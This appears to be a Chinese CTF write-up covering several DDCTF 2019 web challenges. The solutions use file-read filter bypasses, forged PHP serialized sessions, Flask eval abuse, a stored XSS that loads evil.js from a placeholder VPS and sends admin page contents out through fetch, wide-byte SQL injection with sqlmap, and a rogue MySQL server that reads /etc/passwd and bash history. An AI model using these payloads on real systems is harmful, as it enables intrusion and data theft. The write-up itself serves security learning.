滴~
这道题的误导很严重
进入题目
URL为 http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
,将参数解码
>>> 'TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'.decode('base64').decode('base64').decode('hex')'flag.jpg'
存在文件读取,尝试读取页面源码
>>> 'index.php'.encode('hex')'696e6465782e706870'>>> _.encode('base64')'Njk2ZTY0NjU3ODJlNzA2ODcw\n'>>> _[:-1].encode('base64')'TmprMlpUWTBOalUzT0RKbE56QTJPRGN3\n'
解码后获得页面源码
<?php/* * https://blog.csdn.net/FengBanLiuYun/article/details/80616607 * Date: July 4,2018 */error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));echo '<title>'.$_GET['jpg'].'</title>';$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);echo $file.'</br>';$file = str_replace("config","!", $file);echo $file.'</br>';$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";/* * Can you find the flag file? * */
?>
发现两处过滤:
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);$file = str_replace("config","!", $file);
所有非[a-zA-Z0-9.]的字符会被过滤,config会被替换为!
访问注释里的CSDN链接,这里有个脑洞,需要根据日期7月4号来查看CSDN博客相应的文章,文章内容是.swp文件泄露,猜测存在泄露且文件名相同
访问 /practice.txt.swp
得到内容 f1ag!ddctf.php
,因为!被过滤所以用config来替代!,传入参数 b64encode(b64encode(hex("f1agconfigddctf.php")))
读源码
<?phpinclude('config.php');$k = 'hello';extract($_GET);if(isset($uid)){ $content=trim(file_get_contents($k)); if($uid==$content) { echo $flag; } else { echo'hello'; }}
?>
这个就是常规的变量覆盖了,传入 http://117.51.150.246/f1ag!ddctf.php?k=practice.txt.swp&uid=f1ag!ddctf.php
获得flag:
DDCTF{436f6e67726174756c6174696f6e73}
进入页面提示无权限
抓包发现有一个Ajax请求了鉴权接口
修改空值为admin后发包,提示访问某页面
进入新页面,给了源码,开始审计
Class Application { var $path = '';
public function response($data, $errMsg = 'success') { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json'); echo $ret;
}
public function auth() { $DIDICTF_ADMIN = 'admin'; if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) { $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'); return TRUE; }else{ $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error'); exit(); }
} private function sanitizepath($path) { $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path;}
public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit();}}
url:app/Session.php
include 'Application.php';class Session extends Application {
//key建议为8位字符串 var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF";
public function index() { if(parent::auth()) { $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } }
}
private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); }
public function session_read() { if(empty($_COOKIE)) { return FALSE; }
$session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; } $hash = substr($session,strlen($session)-32); $session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); return FALSE; } $session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ return FALSE; }
if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); }
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; } if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; } return TRUE;
}
private function session_create() { $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); }
$userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', );
$cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure );
}}
$ddctf = new Session();$ddctf->index();
注意到关键点:
'../config/key.txt'
访问key.txt提示没有权限,看到源码里:
if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome");}
数组里有两个参数,循环sprintf,所以我们可以传入 "nickname=%s"
,这样第一次循环后:"Welcome my friend %s"
,第二次循环后 sprintf("welcome my friend %s",$eancrykey)
,即成功获取密钥
获取密钥后开始伪造session反序列化读文件
我们序列化Application类,成员path修改为 ..././config/flag.txt
,这里由于过滤了 ../
所以双写绕过
<?php
$a = 'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}';echo urlencode($a);echo md5("EzblrbNS".$a);
获得flag
这道题是绕过PHP GD库的图像重渲染
具体可看这篇文章:http://www.cnblogs.com/test404/p/6644871.html
我们可以利用工具jpg_payload生成包含恶意代码的图片
工具链接:https://wiki.ioin.in/soft/detail/1q
首先准备一张图片,先上传到服务器,图片将会被重渲染,接着我们将图片下载下来,使用工具插入恶意代码
$ php5 jpg_payload.php 190413104151_339161029.jpg
这时的图片就包含了恶意代码且不会被GD库重渲染抹去,我们再次上传即可获得flag
这道题我个人认为出的很好
是一个Flask框架编写,上来就给了源码
# -*- encoding: utf-8 -*-# written in python 2.7__author__ = 'garzon'
from flask import Flask, session, request, Responseimport urllib
app = Flask(__name__)app.secret_key = '*********************' # censoredurl_prefix = '/d5af31f66147e857'
def FLAG(): print 'invoke flag!!' return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event): session['log'].append(event) if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event) print request.event_queue
def get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix) + len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack
class RollBackException: pass
def execute_event_loop(): valid_event_chars = set( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') resp = None while len(request.event_queue) > 0: event = request.event_queue[ 0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" request.event_queue = request.event_queue[1:] if not event.startswith(('action:', 'func:')): continue for c in event: if c not in valid_event_chars: return 'white list' break else: is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action + ';').split('#') #print action #print args try: event_handler = eval( action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) except RollBackException: if resp is None: resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points'] break except Exception, e: if resp is None: resp = '' resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == '': resp = ('404 NOT FOUND', 404) session.modified = True return resp
@app.route(url_prefix + '/')def entry_point(): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or ( not querystring.startswith('action:')) or len(querystring) > 100: querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items'] = 0 session['points'] = 3 session['log'] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />'.format( session['num_items'], session['points']) if page == 'index': html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop': html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset': del session['num_items'] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html
def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1]) if bool_show_source == 'True':
source = open('eventLoop.py', 'r') html = '' if bool_download_source != 'True': html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source: if bool_download_source != 'True': html += line.replace('&', '&').replace( '\t', ' ' * 4).replace(' ', ' ').replace( '<', '<').replace('>', '>').replace( '\n', '<br />') else: html += line source.close()
if bool_download_source == 'True': headers = {} headers['Content-Type'] = 'text/plain' headers['Content-Disposition'] = 'attachment; filename=serve.py' return Response(html, headers=headers) else: return html else: trigger_event('action:view;index')
def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) session['num_items'] += num_items trigger_event( ['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume
def show_flag_function(args): print 'show_flag' flag = args[0] #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return 'You naughty boy! ;) <br />'
def get_flag_handler(args): print 'get_flag' if session['num_items'] >= 5: trigger_event( 'func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries trigger_event('action:view;index')
if __name__ == '__main__': app.run(debug=True, host='0.0.0.0')
通读一遍我们即可知道,它是基于事件循环处理,它维护了一个事件队列,用 trigger_event
函数添加事件,在每次请求时循环处理队列
它的URL都是这样的 http://116.85.48.107:5002/d5af31f66147e857/?action:view;shop
,服务器通过读取query_string,也就是 ?
后面的字符串,然后解析 :
和 ;
之间的为action参数, ;
之后的为params参数
再读一遍我们即可发现端倪:
request
变量里的 prev_session
回滚,这样也就是说不论我们的钱是否够买,都会有一个短暂时期获得了diamond,只不过请求结束时会回滚首先尝试eval函数,我们看到它是这样的
event_handler = eval( action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)
action就是URL里 :和;
之间的值,是可控的,我们尝试一下用#注释掉之后的语句可发现,我们能控制event_handler成为任意函数,(但不可调用,因为括号被过滤了)调用需要由它来调用,且传入的参数也为我们可控
但是想尝试调用FLAG函数是不行的,因为FLAG函数0参而event_handler调用时会传入一个参数
这时将两个漏洞点结合起来考虑:
我们利用eval赋值eventhandler为triggerevent函数,并且传入两个事件,分别为购买5个钻石和调用get_flag函数,这样的话整个请求的事件队列执行流程为:
买五个钻石 --> 调用get_flag --> 钱不够,回滚
虽然请求结束回滚了,但是在调用get_flag函数时已经将FLAG函数的结果写入日志了
trigger_event( 'func:show_flag;' + FLAG())
而日志存在session里,我们可以将session的jwt解码后读取
故传入payload:action:trigger_event%23;action:buy;5%23action:get_flag;
日志:
解码后获得flag:
3v413v3nt100paNdfLASK_c00k1e
这道题感觉中途改了很多,而且没啥营养......页面挂了我就不截图了
提示:
提示:XSS不是获取cookie提示2:之后是注入
首先进入后是一个报名表单,想到肯定是XSS,而且没有任何过滤(除了过滤了"php",因为题目需要读admin.php)。首先XSS后会在referer发现是从admin.php请求的
读取admin.php
报名表单传入<script src=http://VPS_IP/evil.js></script>
// evil.jsfetch("http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php").then(o => o.text()).then(v => fetch('http://YOUR_VPS_IP/', {method: 'POST', body: JSON.stringify({k: v})}));
读到源码
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <!--每隔30秒自动刷新--> <meta http- equiv="refresh" content="30"> <title>DDCTF报名列表</title></head><body> <table align="center" > < thead> <tr> <th>姓名</th> <th>昵称</th> <th>备注</th> <th>时间</th> \ t</tr> </thead> <tbody> <!-- 列表循环展示 --> <tr> <td> 1 </td> <td> 1 </td> <td> <script src=http://xss.tf/kAD></script> </td> <td> 2019-04-17 06:11:43 </td>
</tr>
...............
</tr> <tr> <td> <a target="_blank" href="index.php">报名</a> </td>\ n <!-- <a target="_blank" href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php"> 接口 </a>--> </tbody> </table></bo dy></html>
发现注释掉的接口,访问后提示要传入param参数
经过一番探测后发现是宽字节注入,没有任何过滤,只addslash了单引号和过滤了等号,既然过滤这么少那么就SQLMap一把梭吧:
sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=%df" --dbms=mysql --technique T --hex - -level 3 -D ctfdb -T ctf_fhmHRPL5 -C ctf_value --dump
这个题代码逻辑有漏洞.....注册页如果提示用户已注册的话会直接办法cookie,所以也就意味着可以登录任意账号
进入题目需要买票,2000元但我们只有100元
抓包创建订单链接发现价格是前端传入的,尝试修改发现只允许>0,猜测存在整形溢出,尝试uint32,传入2^32
接着点击支付即会在后端发生溢出,成功支付
进入后台
需要输入id和ticket来移除对手,最后吃鸡的话才有flag。所以思路很清楚了,写脚本注册账号,提取id和ticket后给自己大号杀,让大号吃鸡
import requestsimport time
users = (str(i) for i in range(500, 1000))
with open('t', 'a+') as fp: ts = set(fp.read().split('\n')) for u in users: time.sleep(1) s = requests.Session() r = s.get(f'http://117.51.147.155:5050/ctf/api/register?name={u}&password=12345678') print(f'http://117.51.147.155:5050/ctf/api/register?name={u}&password=12345678') try: resp = r.json() except: pass if resp['code'] != 404: continue
r = s.get('http://38.106.21.229:5000/ctf/api/buy_ticket?ticket_price=4294967296') r = s.get("http://38.106.21.229:5000/ctf/api/pay_ticket?bill_id=" + r.json()['data'][0]['bill_id']) r = s.get('http://117.51.147.155:5050/ctf/api/search_ticket') try: resp = r.json() except: pass
for tmp in resp['data']: _id = tmp['id'] t = tmp['ticket'] if str(_id)+'::'+t not in ts: fp.write(str(_id)+'::'+t+'\n')
批量获取ticket(养猪)
然后杀了他们
import requestsimport time
d = open('t', 'r').read().split('\n')
for i in d: print(i) time.sleep(2) _id = i.split('::')[0] t = i.split('::')[1] r = requests.get(f'http://117.51.147.155:5050/ctf/api/remove_robot?id={_id}&ticket={t}', headers={'Cookie': 'user_name=YOUE_NAME; REVEL_SESSION=YOUR_TOKEN'}) print(r.text)
个人感觉这道题出的也挺不错
首先需要在服务器上部署agent.py,说是代理,其实只是在服务器上执行 ps
然后返回结果
#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 12/1/2019 2:58 PM# @Author : fz# @Site :# @File : agent.py# @Software: PyCharm
import jsonfrom BaseHTTPServer import HTTPServer, BaseHTTPRequestHandlerfrom optparse import OptionParserfrom subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self): request_path = self.path
print("\n----- Request Start ----->\n") print("request_path :", request_path) print("self.headers :", self.headers) print("<----- Request End -----\n")
self.send_response(200) self.send_header("Set-Cookie", "foo=bar") self.send_header("Location", "http://127.0.0.1") self.end_headers()
result = self._func() self.wfile.write(json.dumps(result))
def do_POST(self): request_path = self.path
# print("\n----- Request Start ----->\n") print("request_path : %s", request_path)
request_headers = self.headers content_length = request_headers.getheaders('content-length') length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers) print("content : %s" % self.rfile.read(length)) # print("<----- Request End -----\n")
self.send_response(200) self.send_header("Set-Cookie", "foo=bar") self.end_headers() result = self._func() self.wfile.write(json.dumps(result))
def _func(self): netstat = Popen(['netstat', '-tlnp'], stdout=PIPE) netstat.wait()
ps_list = netstat.stdout.readlines() result = [] for item in ps_list[2:]: tmp = item.split() Local_Address = tmp[3] Process_name = tmp[6] tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name} result.append(tmp_dic) return result
do_PUT = do_POST do_DELETE = do_GET
def main(): port = 8123 print('Listening on localhost:%s' % port) server = HTTPServer(('0.0.0.0', port), RequestHandler) server.serve_forever()
if __name__ == "__main__": parser = OptionParser() parser.usage = ( "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n" "Run:\n\n") (options, args) = parser.parse_args()
main()
所以我们大胆猜测一下,既然是mysql弱口令,那么肯定需要我们的mysql服务器开到公网并且能够hack掉mysql客户端,联想到之前看到的LOAD DATA INFILE读取客户端任意文件
具体请看文章 https://www.anquanke.com/post/id/106488
,我就不赘述了
利用这个工具 https://github.com/Gifts/Rogue-MySql-Server
首先在服务器部署agent.py,并且将返回值固定并一定要返回mysqld(这是检测服务器是否开启mysql的),接着让题目的主机扫描你的服务器,题目的主机会 发起查询请求,我们即可读取任意文件
首先读取 /etc/passwd
2019-04-16 10:50:03,847:INFO:Result: '\x02root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/......略tfix:/sbin/nologin\nchrony:x:998:995::/var/lib/chrony:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\ndc2-user:x:1000:1000::/home/dc2-user:/bin/bash\nmys ql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash\nmongod:x:997:994:mongod:/var/lib/mongo:/bin/false\nnginx:x:996:993:Nginx web server:/var/lib/nginx:/sbin/nologin\n'
发现我们没有root权限,猜测我们的权限为/etc/passwd中的 dc2-user:x:1000:1000::/home/dc2-user:/bin/bash
读取该用户的历史bash命令: /home/dc2-user/.bash_history
.......略'nls \ncd ../\nls\ncd env/\nls\ncd ../\nls\ncd web_1/\nls\nls -la\ncd ../../\nls\ncd ctf_web_\ncd ctf_web_2\nls\nls -la\ncd log/\nlks\nls\ncat gunicorn.log \n;s\ncat gunicorn .err \nls\nnetstat -plnt\nls\nps -aux | grep gunicorn\nls\ncd ../\nls\ncat start.sh \nls\ncd ../\nls\ncd ctf_web_2/\nls\ncat restart.sh \ncat start.sh \nls\ncd ../\nls\n cd ctf_web_1/\nls\ncd web_1/\nls\ncd ../\nls\ncd ../\nls\ncd ctf_web_2/\nls\ncat restart.sh \nnetstat -plnt\nps -uax | gr)...
再读取程序运行的命令行:/proc/self/cmdline
home/dc2-user/ctf_web_2/ctf_web_2/bin/python2 /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:15000 --access-logfile /home/dc2-user/ctf_web_2/2_access.log
这样即可得知目录结构,我们循环着读源码(中间因为我们不知道导入的是包还是单文件,所以逐个尝试,不过大多都是包):
最后在views.py里
# flag in mysql curl@localhost database:security table:flag
flag在数据库,所以我们尝试读数据库文件,首先读my.cnf确定数据存放的目录:/etc/my.cnf
# read_rnd_buffer_size = 2Mdatadir=/var/lib/mysqlsocket=/var/lib/mysql/mysql.sock
# Disabling symbolic-links is recommended to prevent assorted security riskssymbolic-links=0
这时我们即可读取数据库的文件,数据库文件每个库一个文件夹,每个表单独存放,可能是 tablename.MYD
或 tablename.idb
,根据数据库引擎不同而异,读取后即可在其中找到flag
$ strings mysql.log | grep DDCTF